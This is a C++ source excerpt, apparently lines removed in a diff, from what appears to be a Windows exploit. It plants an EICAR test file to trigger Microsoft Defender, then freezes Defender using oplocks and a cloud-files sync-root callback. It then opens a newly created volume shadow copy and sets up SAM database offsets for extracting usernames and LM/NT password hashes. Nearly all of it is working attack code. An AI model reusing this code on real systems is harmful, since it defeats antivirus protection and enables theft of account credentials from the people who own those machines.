- ICategory* cat = 0;
- BSTR catname = 0;
- IUpdate* upd = 0;
- bool comini = CoInitialize(NULL) == 0;
- if (!comini) {
- printf("Failed to initialize COM\n");
- *criterr = true;
- return false;
- }
- hr = CoCreateInstance(clsid, NULL, CLSCTX_INPROC_SERVER, IID_IUpdateSession, (LPVOID*)&updsess);
- if (!updsess)
- {
- printf("CoCreateInstance returned a NULL pointer.\n");
- *criterr = true;
- goto cleanup;
- }
- //printf("CoCreateInstance : 0x%p\n", updsess);
- hr = updsess->CreateUpdateSearcher(&updsrch);
- if (hr)
- {
- printf("IUpdateSearcher->CreateUpdateSearcher failed with error : 0x%0.X", hr);
- *criterr = true;
- goto cleanup;
- }
- if (!updsrch)
- {
- printf("IUpdateSearcher->CreateUpdateSearcher returned a NULL pointer.\n");
- *criterr = true;
- goto cleanup;
- }
- //printf("IUpdateSearcher->CreateUpdateSearcher : 0x%p\n", updsrch);
- //printf("Checking for updates, please wait...\n");
- hr = updsrch->Search(SysAllocString(L""), &srchres);
- if (hr)
- {
- printf("ISearchResult->Search failed with error : 0x%0.X", hr);
- *criterr = true;
- goto cleanup;
- }
- //printf("ISearchResult->Search : 0x%p\n", srchres);
- hr = srchres->get_Updates(&updcollection);
- if (hr)
- {
- printf("IUpdateCollection->get_Updates failed with error : 0x%0.X", hr);
- *criterr = true;
- goto cleanup;
- }
- if (!updcollection)
- {
- printf("IUpdateCollection->get_Updates returned a NULL pointer.\n");
- *criterr = true;
- goto cleanup;
- }
- //printf("IUpdateCollection->get_Updates : 0x%p\n", updcollection);
- hr = updcollection->get_Count(&updnum);
- if (hr)
- {
- printf("IUpdateCollection->get_Count failed with error : 0x%0.X", hr);
- *criterr = true;
- goto cleanup;
- }
- //printf("Updates count : %d\n", updnum);
- for (LONG i = 0; i < updnum; i++)
- {
- if (upd)
- {
- upd->Release();
- upd = 0;
- }
- title = 0;
- desc = 0;
- catname = 0;
- //printf("_________________________________________\n");
- bool IsWdUdpate = false;
- bool IsSigUpdate = false;
- hr = updcollection->get_Item(i, &upd);
- if (hr)
- {
- printf("IUpdateCollection->get_Item failed with error : 0x%0.X", hr);
- *criterr = true;
- goto cleanup;
- }
- if (!upd)
- {
- printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
- *criterr = true;
- goto cleanup;
- }
- //printf("Update number : %d\n", i + 1);
- hr = upd->get_Title(&title);
- if (hr)
- {
- printf("IUpdateCollection->get_Title failed with error : 0x%0.X", hr);
- continue;
- }
- if (!title)
- {
- printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
- continue;
- }
- title[SysStringLen(title)] = NULL;
- //printf("Title : %ws\n", title);
- /*
- desc = 0;
- upd->get_Description(&desc);
- if (!desc)
- {
- printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
- continue;
- }
- desc[SysStringLen(desc)] = NULL;
- printf("Description : %ws\n", desc);
- */
- catcoll = 0;
- hr = upd->get_Categories(&catcoll);
- if (!catcoll)
- {
- printf("IUpdateCollection->get_Categories returned a NULL pointer.\n");
- continue;
- }
- LONG catcount = 0;
- hr = catcoll->get_Count(&catcount);
- for (LONG j = 0; j < catcount; j++)
- {
- cat = 0;
- hr = catcoll->get_Item(j, &cat);
- if (!cat)
- {
- printf("ICategoryCollection->get_Item returned NULL pointer.\n");
- continue;
- }
- catname = 0;
- cat->get_Name(&catname);
- catname[SysStringLen(catname)] = NULL;
- //printf("Category name : %ws\n", catname);
- if (catname)
- {
- if (!IsWdUdpate)
- IsWdUdpate = _wcsicmp(catname, L"Microsoft Defender Antivirus") == 0;
- if (!IsSigUpdate)
- IsSigUpdate = _wcsicmp(catname, L"Definition Updates") == 0;
- }
- }
- updatesfound = IsWdUdpate && IsSigUpdate;
- if (updatesfound)
- break;
- }
- if (updatesfound && updatetitle) {
- memmove(updatetitle, title, lstrlenW(title) * sizeof(wchar_t));
- }
- cleanup:
- if (updcollection)
- updcollection->Release();
- if (srchres)
- srchres->Release();
- if (updsrch)
- updsrch->Release();
- if (updsess)
- updsess->Release();
- if (upd)
- upd->Release();
- CoUninitialize();
- return updatesfound;
- }
- //////////////////////////////////////////////////////////////////////
- // WD definition update functions end
- /////////////////////////////////////////////////////////////////////
- //////////////////////////////////////////////////////////////////////
- // Volume shadow copy functions
- /////////////////////////////////////////////////////////////////////
- void rev(char* s) {
- // Initialize l and r pointers
- int l = 0;
- int r = strlen(s) - 1;
- char t;
- // Swap characters till l and r meet
- while (l < r) {
- // Swap characters
- t = s[l];
- s[l] = s[r];
- s[r] = t;
- // Move pointers towards each other
- l++;
- r--;
- }
- }
- void DestroyVSSNamesList(LLShadowVolumeNames* First)
- {
- while (First)
- {
- free(First->name);
- LLShadowVolumeNames* next = First->next;
- free(First);
- First = next;
- }
- }
- LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber, DWORD* errorcode)
- {
- if (!criticalerr || !vscnumber || !errorcode)
- return NULL;
- *vscnumber = 0;
- ULONG scanctx = 0;
- ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
- ULONG retsz = 0;
- OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
- if (!objdirinfo)
- {
- printf("Failed to allocate required buffer to query object manager directory.\n");
- *criticalerr = true;
- *errorcode = ERROR_NOT_ENOUGH_MEMORY;
- return NULL;
- }
- ZeroMemory(objdirinfo, reqsz);
- NTSTATUS stat = STATUS_SUCCESS;
- do
- {
- stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz);
- if (stat == STATUS_SUCCESS)
- break;
- else if (stat != STATUS_MORE_ENTRIES)
- {
- printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
- *criticalerr = true;
- *errorcode = RtlNtStatusToDosError(stat);
- return NULL;
- }
- free(objdirinfo);
- reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
- objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
- if (!objdirinfo)
- {
- printf("Failed to allocate required buffer to query object manager directory.\n");
- *criticalerr = true;
- *errorcode = ERROR_NOT_ENOUGH_MEMORY;
- return NULL;
- }
- ZeroMemory(objdirinfo, reqsz);
- } while (1);
- void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
- ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
- LLShadowVolumeNames* LLVSScurrent = NULL;
- LLShadowVolumeNames* LLVSSfirst = NULL;
- for (ULONG i = 0; i < ULONG_MAX; i++)
- {
- if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
- {
- free(emptybuff);
- break;
- }
- if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
- {
- wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
- if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
- {
- if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
- {
- (*vscnumber)++;
- if (LLVSScurrent)
- {
- LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
- if (!LLVSScurrent->next)
- {
- printf("Failed to allocate memory.\n");
- *criticalerr = true;
- *errorcode = ERROR_NOT_ENOUGH_MEMORY;
- DestroyVSSNamesList(LLVSSfirst);
- free(objdirinfo);
- return NULL;
- }
- ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames));
- LLVSScurrent = LLVSScurrent->next;
- LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
- if (!LLVSScurrent->name)
- {
- printf("Failed to allocate memory !!!\n");
- *errorcode = ERROR_NOT_ENOUGH_MEMORY;
- *criticalerr = true;
- DestroyVSSNamesList(LLVSSfirst);
- free(objdirinfo);
- return NULL;
- }
- ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
- memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
- }
- else
- {
- LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
- if (!LLVSSfirst)
- {
- printf("Failed to allocate memory.\n");
- *errorcode = ERROR_NOT_ENOUGH_MEMORY;
- *criticalerr = true;
- DestroyVSSNamesList(LLVSSfirst);
- free(objdirinfo);
- return NULL;
- }
- ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames));
- LLVSScurrent = LLVSSfirst;
- LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
- if (!LLVSScurrent->name)
- {
- printf("Failed to allocate memory !!!\n");
- *errorcode = ERROR_NOT_ENOUGH_MEMORY;
- *criticalerr = true;
- DestroyVSSNamesList(LLVSSfirst);
- free(objdirinfo);
- return NULL;
- }
- ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
- memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
- }
- }
- }
- }
- }
- free(objdirinfo);
- return LLVSSfirst;
- }
- DWORD WINAPI ShadowCopyFinderThread(void* fullvsspath)
- {
- wchar_t devicepath[] = L"\\Device";
- UNICODE_STRING udevpath = { 0 };
- RtlInitUnicodeString(&udevpath, devicepath);
- OBJECT_ATTRIBUTES objattr = { 0 };
- InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
- NTSTATUS stat = STATUS_SUCCESS;
- HANDLE hobjdir = NULL;
- DWORD retval = ERROR_SUCCESS;
- wchar_t newvsspath[MAX_PATH] = { 0 };
- wcscpy(newvsspath, L"\\Device\\");
- bool criterr = false;
- int vscnum = 0;
- bool restartscan = false;
- ULONG scanctx = 0;
- ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
- ULONG retsz = 0;
- OBJECT_DIRECTORY_INFORMATION* objdirinfo = NULL;
- bool srchfound = false;
- wchar_t vsswinpath[MAX_PATH] = { 0 };
- UNICODE_STRING _vsswinpath = { 0 };
- OBJECT_ATTRIBUTES objattr2 = { 0 };
- IO_STATUS_BLOCK iostat = { 0 };
- HANDLE hlk = NULL;
- LLShadowVolumeNames* vsinitial = NULL;
- stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr);
- if (stat)
- {
- printf("Failed to open object manager directory, error : 0x%0.8X", stat);
- retval = RtlNtStatusToDosError(stat);
- return retval;
- }
- void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
- if (!emptybuff)
- {
- printf("Failed to allocate memory !!!");
- retval = ERROR_NOT_ENOUGH_MEMORY;
- goto cleanup;
- }
- ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
-
- vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum,&retval);
- if (criterr)
- {
- printf("Unexpected error while listing current volume shadow copy volumes\n");
- goto cleanup;
- }
- if (!vsinitial)
- {
- printf("No volume shadow copies were found.\n");
- }
- else
- {
- printf("Found %d volume shadow copies\n", vscnum);
- }
- stat = STATUS_SUCCESS;
- scanagain:
- do
- {
- if (objdirinfo)
- free(objdirinfo);
- objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
- if (!objdirinfo)
- {
- printf("Failed to allocate required buffer to query object manager directory.\n");
- retval = ERROR_NOT_ENOUGH_MEMORY;
- goto cleanup;
- }
- ZeroMemory(objdirinfo, reqsz);
- scanctx = 0;
- stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz);
- if (stat == STATUS_SUCCESS)
- break;
- else if (stat != STATUS_MORE_ENTRIES)
- {
- printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
- retval = RtlNtStatusToDosError(stat);
- goto cleanup;
- }
- reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
- } while (1);
-
- for (ULONG i = 0; i < ULONG_MAX; i++)
- {
- if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
- {
- break;
- }
- if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
- {
- wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
- if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
- {
- if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
- {
- // check against the list if there this is a unique VS Copy
- LLShadowVolumeNames* current = vsinitial;
- bool found = false;
- while (current)
- {
- if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0)
- {
- found = true;
- break;
- }
- current = current->next;
- }
- if (found)
- continue;
- else
- {
- srchfound = true;
- wcscat(newvsspath, objdirinfo[i].Name.Buffer);
- break;
- }
- }
- }
- }
- }
- if (!srchfound) {
- restartscan = true;
- goto scanagain;
- }
- if (objdirinfo) {
- free(objdirinfo);
- objdirinfo = NULL;
- }
- NtClose(hobjdir);
- hobjdir = NULL;
- printf("New volume shadow copy detected : %ws\n", newvsspath);
- wcscpy(vsswinpath, newvsspath);
- wcscat(vsswinpath, L"\\Windows");
- RtlInitUnicodeString(&_vsswinpath, vsswinpath);
- InitializeObjectAttributes(&objattr2, &_vsswinpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
- retry:
- stat = NtCreateFile(&hlk, FILE_READ_ATTRIBUTES, &objattr2, &iostat, NULL, NULL, NULL, FILE_OPEN, NULL, NULL, NULL);
- if (stat == STATUS_NO_SUCH_DEVICE)
- goto retry;
- if (stat)
- {
- printf("Failed to open volume shadow copy, error : 0x%0.8X\n", stat);
- retval = RtlNtStatusToDosError(stat);
- goto cleanup;
- }
- printf("Successfully accessed volume shadow copy.\n");
- CloseHandle(hlk);
- if (fullvsspath)
- wcscpy((wchar_t*)fullvsspath, newvsspath);
- cleanup:
- if (hobjdir)
- NtClose(hobjdir);
- if (emptybuff)
- free(emptybuff);
- if (vsinitial)
- DestroyVSSNamesList(vsinitial);
- return retval;
- }
- DWORD GetWDPID()
- {
- static DWORD retval = 0;
- if (retval)
- return retval;
- SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
- if (!scmgr)
- return 0;
- SC_HANDLE hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS);
- CloseServiceHandle(scmgr);
- if (!hsvc)
- return 0;
- SERVICE_STATUS_PROCESS ssp = { 0 };
- DWORD reqsz = sizeof(ssp);
- bool res = QueryServiceStatusEx(hsvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, reqsz, &reqsz);
- CloseServiceHandle(hsvc);
- if (!res)
- return 0;
- retval = ssp.dwProcessId;
- return retval;
- }
- void CfCallbackFetchPlaceHolders(
- _In_ CONST CF_CALLBACK_INFO* CallbackInfo,
- _In_ CONST CF_CALLBACK_PARAMETERS* CallbackParameters
- ) {
- printf("CfCallbackFetchPlaceHolders triggered !\n");
- CF_PROCESS_INFO* cpi = CallbackInfo->ProcessInfo;
- wchar_t* procname = PathFindFileName(cpi->ImagePath);
- printf("Directory query from %ws\n", procname);
- if (GetWDPID() == cpi->ProcessId)
- {
- cldcallbackctx* ctx = (cldcallbackctx*)CallbackInfo->CallbackContext;
- SetEvent(ctx->hnotifywdaccess);;
- printf("Defender flagged.\n");
- CF_OPERATION_INFO cfopinfo = { 0 };
- cfopinfo.StructSize = sizeof(CF_OPERATION_INFO);
- cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS;
- cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey;
- cfopinfo.TransferKey = CallbackInfo->TransferKey;
- cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector;
- cfopinfo.RequestKey = CallbackInfo->RequestKey;
- //STATUS_CLOUD_FILE_REQUEST_TIMEOUT
- SYSTEMTIME systime = { 0 };
- FILETIME filetime = { 0 };
- GetSystemTime(&systime);
- SystemTimeToFileTime(&systime, &filetime);
- FILE_BASIC_INFO filebasicinfo = { 0 };
- filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
- CF_FS_METADATA fsmetadata = { filebasicinfo, {0x1000} };
- CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 };
- GUID uid = { 0 };
- RPC_WSTR wuid = { 0 };
- UuidCreate(&uid);
- UuidToStringW(&uid, &wuid);
- wchar_t* wuid2 = (wchar_t*)wuid;
- placeholder[0].RelativeFileName = ctx->filename;
- placeholder[0].FsMetadata = fsmetadata;
- UuidCreate(&uid);
- UuidToStringW(&uid, &wuid);
- wuid2 = (wchar_t*)wuid;
- placeholder[0].FileIdentity = wuid2;
- placeholder[0].FileIdentityLength = lstrlenW(wuid2) * sizeof(wchar_t);
- placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE;
- CF_OPERATION_PARAMETERS cfopparams = { 0 };
- cfopparams.ParamSize = sizeof(cfopparams);
- cfopparams.TransferPlaceholders.PlaceholderCount = 1;
- cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 1;
- cfopparams.TransferPlaceholders.EntriesProcessed = 0;
- cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE;
- cfopparams.TransferPlaceholders.PlaceholderArray = placeholder;
- WaitForSingleObject(ctx->hnotifylockcreated, INFINITE);
- HRESULT hs = CfExecute(&cfopinfo, &cfopparams);
- printf("CfExecute returned : 0x%0.8X\n", hs);
- return;
- }
- CF_OPERATION_INFO cfopinfo = { 0 };
- cfopinfo.StructSize = sizeof(CF_OPERATION_INFO);
- cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS;
- cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey;
- cfopinfo.TransferKey = CallbackInfo->TransferKey;
- cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector;
- cfopinfo.RequestKey = CallbackInfo->RequestKey;
- CF_OPERATION_PARAMETERS cfopparams = { 0 };
- cfopparams.ParamSize = sizeof(cfopparams);
- cfopparams.TransferPlaceholders.PlaceholderCount = 0;
- cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 0;
- cfopparams.TransferPlaceholders.EntriesProcessed = 0;
- cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE;
- cfopparams.TransferPlaceholders.PlaceholderArray = { 0 };
- HRESULT hs = CfExecute(&cfopinfo, &cfopparams);
- printf("CfExecute : 0x%0.8X\n", hs);
- return;
- }
- DWORD WINAPI FreezeVSS(void* arg)
- {
- cloudworkerthreadargs* args = (cloudworkerthreadargs*)arg;
- if (!args)
- return ERROR_BAD_ARGUMENTS;
- HANDLE hlock = NULL;
- HRESULT hs;
- CF_SYNC_REGISTRATION cfreg = { 0 };
- cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION);
- cfreg.ProviderName = L"IHATEMICROSOFT";
- cfreg.ProviderVersion = L"1.0";
- CF_SYNC_POLICIES syncpolicy = { 0 };
- syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES);
- syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED;
- syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
- syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED;
- syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT;
- syncpolicy.InSync = CF_INSYNC_POLICY_NONE;
- CF_CALLBACK_REGISTRATION callbackreg[2];
- callbackreg[0] = { CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS, CfCallbackFetchPlaceHolders };
- callbackreg[1] = { CF_CALLBACK_TYPE_NONE, NULL };
- CF_CONNECTION_KEY cfkey = { 0 };
- OVERLAPPED ovd = { 0 };
- DWORD nwf = 0;
- //wchar_t syncroot[] = L"C:\\temp";
- wchar_t syncroot[MAX_PATH] = { 0 };
- GetModuleFileName(GetModuleHandle(NULL), syncroot, MAX_PATH);
- *(PathFindFileName(syncroot) - 1) = L'\0';
- DWORD retval = STATUS_SUCCESS;
- wchar_t lockfile[MAX_PATH];
- wcscpy(lockfile, syncroot);
- wcscat(lockfile, L"\\");
- GUID uid = { 0 };
- RPC_WSTR wuid = { 0 };
- UuidCreate(&uid);
- UuidToStringW(&uid, &wuid);
- wchar_t* wuid2 = (wchar_t*)wuid;
- wcscat(lockfile, wuid2);
- wcscat(lockfile, L".lock");
- cldcallbackctx callbackctx = { 0 };
- bool syncrootregistered = false;
- callbackctx.hnotifywdaccess = CreateEvent(NULL, FALSE, FALSE, NULL);
- callbackctx.hnotifylockcreated = CreateEvent(NULL, FALSE, FALSE, NULL);
- if (!callbackctx.hnotifylockcreated || !callbackctx.hnotifywdaccess)
- {
- printf("Failed to create event, error : %d", GetLastError());
- retval = GetLastError();
- goto cleanup;
- }
- wcscpy(callbackctx.filename, wuid2);
- wcscat(callbackctx.filename, L".lock");
- hlock = CreateFile(lockfile, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE, NULL);
- if (!hlock || hlock == INVALID_HANDLE_VALUE)
- {
- printf("Failed to create lock file %ws error : %d", lockfile, GetLastError());
- retval = GetLastError();
- goto cleanup;
- }
- //CreateDirectory(syncroot, NULL);
- hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_NONE);
- if (hs)
- {
- printf("Failed to register syncroot, hr = 0x%0.8X\n", hs);
- retval = ERROR_UNIDENTIFIED_ERROR;
- goto cleanup;
- }
- syncrootregistered = true;
- hs = CfConnectSyncRoot(syncroot, callbackreg, &callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey);
- if (hs)
- {
- printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs);
- retval = ERROR_UNIDENTIFIED_ERROR;
- goto cleanup;
- }
- if (args->hlock) {
- CloseHandle(args->hlock);
- args->hlock = NULL;
- }
- printf("Waiting for callback...\n");
- WaitForSingleObject(callbackctx.hnotifywdaccess, INFINITE);
- ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
- if (!ovd.hEvent)
- {
- printf("Failed to create event, error : %d\n", GetLastError());
- retval = GetLastError();
- goto cleanup;
- }
- DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
- if (GetLastError() != ERROR_IO_PENDING)
- {
- printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
- retval = GetLastError();
- goto cleanup;
- }
- SetEvent(callbackctx.hnotifylockcreated);
- printf("Waiting for oplock to trigger...\n");
- GetOverlappedResult(hlock, &ovd, &nwf, TRUE);
- printf("WD is frozen and the new VSS can be used.\n");
- SetEvent(args->hvssready);
- WaitForSingleObject(args->hcleanupevent, INFINITE);
-
-
- cleanup:
- if (hlock)
- CloseHandle(hlock);
- if (callbackctx.hnotifylockcreated)
- CloseHandle(callbackctx.hnotifylockcreated);
- if (callbackctx.hnotifywdaccess)
- CloseHandle(callbackctx.hnotifywdaccess);
- if (ovd.hEvent)
- CloseHandle(ovd.hEvent);
- if (syncrootregistered)
- {
- CfDisconnectSyncRoot(cfkey);
- CfUnregisterSyncRoot(syncroot);
- }
-
- return retval;
- }
- bool TriggerWDForVS(HANDLE hreleaseevent,wchar_t* fullvsspath)
- {
- GUID uid = { 0 };
- RPC_WSTR wuid = { 0 };
- UuidCreate(&uid);
- UuidToStringW(&uid, &wuid);
- wchar_t* wuid2 = (wchar_t*)wuid;
- wchar_t workdir[MAX_PATH] = { 0 };
- ExpandEnvironmentStrings(L"%TEMP%\\", workdir, MAX_PATH);
- wcscat(workdir, wuid2);
- wchar_t eicarfilepath[MAX_PATH] = { 0 };
- wcscpy(eicarfilepath,workdir);
- wcscat(eicarfilepath,L"\\foo.exe");
- HANDLE hlock = NULL;
- wchar_t rstmgr[MAX_PATH] = { 0 };
- ExpandEnvironmentStrings(L"%windir%\\System32\\RstrtMgr.dll", rstmgr, MAX_PATH);
- OVERLAPPED ovd = { 0 };
- char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X";
- rev(eicar);
- DWORD nwf = 0;
- cloudworkerthreadargs cldthreadargs = { 0 };
- DWORD tid = 0;
- HANDLE hthread = NULL;
- bool dircreated = false;
- bool retval = true;
- HANDLE hfile = NULL;
- HANDLE trigger = NULL;
- HANDLE hthread2 = NULL;
- HANDLE hobj[2] = { 0 };
- DWORD exitcode = STATUS_SUCCESS;
- DWORD waitres = 0;
- hthread = CreateThread(NULL, NULL, ShadowCopyFinderThread, (void*)fullvsspath, NULL, &tid);
- if (!hthread)
- {
- printf("Failed to create worker thread, error : %d", GetLastError());
- retval = false;
- goto cleanup;
- }
-
- dircreated = CreateDirectory(workdir, NULL);
- if (!dircreated)
- {
- printf("Failed to create working directory, error : %d\n",GetLastError());
- retval = false;
- goto cleanup;
- }
- hfile = CreateFile(eicarfilepath, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL);
- if (!hfile || hfile == INVALID_HANDLE_VALUE)
- {
- printf("Failed to create eicar test file, error : %d\n", GetLastError());
- retval = false;
- goto cleanup;
- }
-
- if (!WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL))
- {
- printf("Failed to write eicar test file, error : %d\n", GetLastError());
- retval = false;
- goto cleanup;
- }
- hlock = CreateFile(rstmgr, GENERIC_READ | SYNCHRONIZE, NULL, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
- if (!hlock || hlock == INVALID_HANDLE_VALUE)
- {
- printf("Failed to open restart manager dll for exclusive access, error : %d\nTry again later.\n", GetLastError());
- retval = false;
- goto cleanup;
- }
- ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
- if (!ovd.hEvent)
- {
- printf("Failed to create event object with error : %d !!!!\n", GetLastError());
- retval = false;
- goto cleanup;
- }
- SetLastError(ERROR_SUCCESS);
- DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
- if (GetLastError() != ERROR_IO_PENDING)
- {
- printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
- retval = false;
- goto cleanup;
- }
- // trigger wd for action
- trigger = CreateFile(eicarfilepath, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
- if (trigger && trigger != INVALID_HANDLE_VALUE)
- CloseHandle(trigger);
- printf("Waiting for oplock to trigger...\n");
- GetOverlappedResult(hlock, &ovd, &nwf, TRUE);
- printf("Oplock triggered.\n");
- if (!GetExitCodeThread(hthread, &exitcode))
- {
- printf("Unexpected error while getting worker thread exit code");
- retval = false;
- goto cleanup;
- }
- if (exitcode)
- {
- printf("Failed to get new volume shadow copy path");
- retval = false;
- goto cleanup;
-
- }
- cldthreadargs.hcleanupevent = hreleaseevent;
- cldthreadargs.hlock = hlock;
- cldthreadargs.hvssready = CreateEvent(NULL, FALSE, FALSE, NULL);
-
- hthread2 = CreateThread(NULL, NULL, FreezeVSS, &cldthreadargs, NULL, &tid);
- if (!hthread2) {
- printf("Unable to create worker thread, error : %d", GetLastError());
- retval = false;
- goto cleanup;
- }
- hobj[0] = hthread2;
- hobj[1] = cldthreadargs.hvssready;
- waitres = WaitForMultipleObjects(2, hobj, FALSE, INFINITE);
- if (waitres - WAIT_OBJECT_0 == 0)
- {
- printf("Unable to freeze WD, thread exited prematurely.\n");
- retval = false;
- }
- cleanup:
- if (hthread)
- CloseHandle(hthread);
- if(hthread2)
- CloseHandle(hthread2);
- if(cldthreadargs.hvssready)
- CloseHandle(cldthreadargs.hvssready);
- if (ovd.hEvent)
- CloseHandle(ovd.hEvent);
- if (hfile)
- CloseHandle(hfile);
- if (dircreated)
- RemoveDirectory(workdir);
- return retval;
- }
- //////////////////////////////////////////////////////////////////////
- // Volume shadow copy functions end
- /////////////////////////////////////////////////////////////////////
- //////////////////////////////////////////////////////////////////////
- // SAM handling start
- /////////////////////////////////////////////////////////////////////
- #define SAM_DATABASE_DATA_ACCESS_OFFSET 0xcc
- #define SAM_DATABASE_USERNAME_OFFSET 0x0c
- #define SAM_DATABASE_USERNAME_LENGTH_OFFSET 0x10
- #define SAM_DATABASE_LM_HASH_OFFSET 0x9c
- #define SAM_DATABASE_LM_HASH_LENGTH_OFFSET 0xa0
- #define SAM_DATABASE_NT_HASH_OFFSET 0xa8
- #define SAM_DATABASE_NT_HASH_LENGTH_OFFSET 0xac
- struct PwdEnc
- {
- char* buff;
- size_t sz;
- wchar_t* username;
- ULONG usernamesz;
- char* LMHash;
- ULONG LMHashLenght;
- char* NTHash;
- ULONG NTHashLenght;
- ULONG rid;
- };
- NTSTATUS WINAPI SamConnect(IN PUNICODE_STRING ServerName, OUT HANDLE* ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted);
